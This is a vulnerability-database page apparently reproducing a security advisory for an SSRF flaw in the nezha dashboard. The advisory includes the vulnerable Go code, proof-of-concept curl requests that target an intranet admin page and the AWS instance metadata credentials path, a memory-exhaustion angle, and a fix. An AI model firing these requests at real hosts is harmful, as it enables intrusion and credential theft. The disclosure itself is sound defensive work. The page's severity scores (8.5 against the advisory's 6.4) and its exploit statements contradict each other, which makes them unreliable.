Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-w4g9-mxgg-j532

HighCVSS 8.5 / 10
Published May 23, 2026·Last modified May 23, 2026
Affected Components(0)

No affected components available

Description

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.

Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
    auth.GET("/notification", listHandler(listNotification))
    auth.POST("/notification", commonHandler(createNotification))   // <-- commonHandler, not adminHandler

For comparison, /user routes ARE gated by adminHandler:

auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))

adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
    var nf model.NotificationForm
    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
    var n model.Notification
    n.UserID = getUid(c)
    n.Name = nf.Name
    n.RequestMethod = nf.RequestMethod
    n.RequestType = nf.RequestType
    n.RequestHeader = nf.RequestHeader
    n.RequestBody = nf.RequestBody
    n.URL = nf.URL
    ...
    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
    if !nf.SkipCheck {
        if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse
        }
    }
    ...
}

Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
    var client *http.Client
    n := ns.Notification
    if n.VerifyTLS != nil && *n.VerifyTLS {
        client = utils.HttpClient
    } else {
        client = utils.HttpClientSkipTlsVerify
    }
    reqBody, err := ns.reqBody(message)
    if err != nil { return err }
    reqMethod, err := n.reqMethod()
    if err != nil { return err }
    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    if err != nil { return err }
    n.setContentType(req)
    if err := n.setRequestHeader(req); err != nil { return err }
    resp, err := client.Do(req)
    if err != nil { return err }
    defer func() { _ = resp.Body.Close() }()
    if resp.StatusCode < 200 || resp.StatusCode > 299 {
        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader
        return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    } else {
        _, _ = io.Copy(io.Discard, resp.Body)
    }
    return nil
}

The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.

Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

Response:

{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}

B. AWS IMDSv2 reachability + body leak

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Suggested fix

  1. Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.

    auth.POST("/notification", adminHandler(createNotification))
    auth.PATCH("/notification/:id", adminHandler(updateNotification))
    
  2. SSRF-harden NotificationServerBundle.Send():

    • Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
    • Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU.
    • Refuse non-http(s) schemes.
  3. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.

  4. Reconsider VerifyTLS=false toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.

Severity

  • CVSS 3.1: Medium — AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
  • Auth: authenticated RoleMember (Role == 1).

Reproduction environment

  • Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
  • Code locations:
    • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
    • Sink: model/notification.go:113-159
    • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.

Risk Scores
Base Score
8.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
7.8

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.27%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard